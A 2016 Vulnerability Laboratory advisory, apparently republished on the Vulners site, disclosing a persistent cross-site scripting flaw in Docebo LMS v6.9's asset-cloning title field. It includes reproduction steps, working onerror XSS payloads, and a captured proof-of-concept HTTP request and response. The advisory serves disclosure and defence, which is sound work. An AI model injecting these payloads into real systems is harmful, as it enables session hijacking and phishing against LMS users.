Lucene search
K

Docebo LMS v6.9 - (Clone Links) Persistent Vulnerability

Docebo LMS v6.9 persistent cross-site scripting vulnerability in asset cloning modul

Code
Document Title:
===============
Docebo LMS v6.9 - (Clone Links) Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1878


Release Date:
=============
2016-12-19


Vulnerability Laboratory ID (VL-ID):
====================================
1878


Common Vulnerability Scoring System:
====================================
3.5


Product & Service Introduction:
===============================
Docebo is a SAAS/Cloud platform for e-learning, also known as a learning management system.From the Latin word, docere. Docebo is used 
for corporate learning and has interfaces for videoconferencing and HR systems. Using an online system for learning and training cuts 
down time needed and costs that would be used on such things as printing and distributing materials.

(Copy of the Vendor Homepage: https://www.docebo.com/learning-management-system-lms/ & https://en.wikipedia.org/wiki/DoceboLMS )


Abstract Advisory Information:
==============================
A vulnerability laboratory core team researcher discovered an application-side cross site scripting vulnerability in the DoceboLMS content management system.


Vulnerability Disclosure Timeline:
==================================
2016-12-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Docebo
Product: Docebo LMS - Content Management System (Web-Application) 6.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Low


Technical Details & Description:
================================
A persistent cross site scripting web vulnerability has been discovered in the official Docebo LMS v6.9 web-application.
The vulnerability allows remote attackers to inject own script code on the application-side of the affected application module.

Remote attackers are able to inject malicious java script code into the main user module for contribution channel, user with low privileged are 
able to inject it through cloning links to share it with LMS admin and super users, other users and more. The vulnerability is located the vulnerable 
parameter `App7020Assets%5Btitle%5D` of the module `app[NUM]/index.php?r=assets/index`. The vulnerability allows restricted user acounts with low 
privileges to inject own malicious payload without secure parse to the application-side. The request method to inject is POST and the attack vector 
is persistent.

The security risk of the application-side cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source 
and persistent manipulation of affected or connected application modules.

Vulnerable Method(s):
				[+] POST 

Vulnerable Module(s):
				[+]app7020/index.php?r=axAssets/axSubmitAsset

vulnerable Parameter(s):
				[+]App7020Assets%5Btitle%5D


Proof of Concept (PoC):
=======================
The application-side validation web vulnerability can be exploited by low privilege web-application user accounts with low user interaction.
For security demonstration or to reproduce the application-side web vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. A Users enrolls the LMS course and moves to https://SUBDOMAIN.localhost:8080/app[NUM]/index.php?r=assets/index 
Example: https://vulnlab.localhost:8080/app7020/index.php?r=assets/index
2. In a form called " Create a knowledge asset by sharing a link!" . type http://vuln-lab.com then share .
Note: Wait couple of seconds to clone target target, then a popup message appears with title and description 
3. In the title field , type this payload : '><iframe src=x onerror=prompt(1)> 
4. Successfully reproduce of the vulnerability!


--- PoC Session Logs [POST] ---
POST /app7020/index.php?r=axAssets/axSubmitAsset HTTP/1.1
Host: vulnlab.localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: https://vulnlab.localhost:8080/app7020/index.php?r=assets/index
Content-Length: 373
Cookie: __distillery=v20150227_1d8495ec-1a8c-416f-a9ba-ea7af2daaa38; docebo_session=midcn2pb3p7ncf4df1nlcs3mq2; YII_CSRF_TOKEN=e18b147aaf5b079e00d408885c8efdbeafc3edcd; backend_eu_west_1_saas=1
Connection: keep-alive

YII_CSRF_TOKEN=e18b147aaf5b079e00d408885c8efdbeafc3edcd&App7020Assets%5Btitle%5D=Vulnerability+Lab'%3E%3Cimg+src%3Dx+onerror%3Dprompt(5)%3E&App7020Assets%5Bdescription%5D=%3Cp%3EVULNERABILITY+LAB+-+SECURITY+RESEARCH+LABORATORY%3C%2Fp%3E&tags=&hidden-tags=&App7020Assets%5Bis_private%5D=&App7020Assets%5Bis_private%5D=0&Title=&channnelsCheckList%5B%5D=14&assetId=3&status=20
[16:06:24] Lawrence Amer: RESPONSE 

HTTP/1.1 200 OK
Server: openresty
Date: Sat, 23 Jul 2016 19:24:47 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Front-End-Https: on
Set-Cookie: backend_eu_west_1_saas=1; path=/;
Front-End-Https: on
Content-Length: 652

{"res":true,"assetId":"3","assetStatus":20,"assetThumb":"https://d36spl5w3z9i0o.cloudfront.net/files/v/u/vulnlab_docebosaas_com/assets/app7020/small/cbef56ac79f7299f0e9d2405bc551274b2ce0909.png","assetOriginalName":"http://vuln-lab.com","message":"The asset was updated successfully!","itemInfo":{"channels":[{"channel_name":"'><img src=x onerror=prompt(1)>","channel_url":"/lms/index.php?r=channels/index#/channel/14"}],"description":"<p>VULNERABILITY LAB - SECURITY RESEARCH LABORATORY</p>","last_edit_by":"ralph.aadm","last_edit_datetime":"2016-07-23 19:25:16","title":"Vulnerability Lab'><img src=x onerror=prompt(5)>","tags":[]}}


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in the lms web-application is estimated as medium. (CVSS 3.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Lawrence Amer [http://www.vulnerability-lab.com/show.php?user=Lawrence%20Amer]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    [email protected] 	- [email protected] 				- [email protected]
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or [email protected]) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™



Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation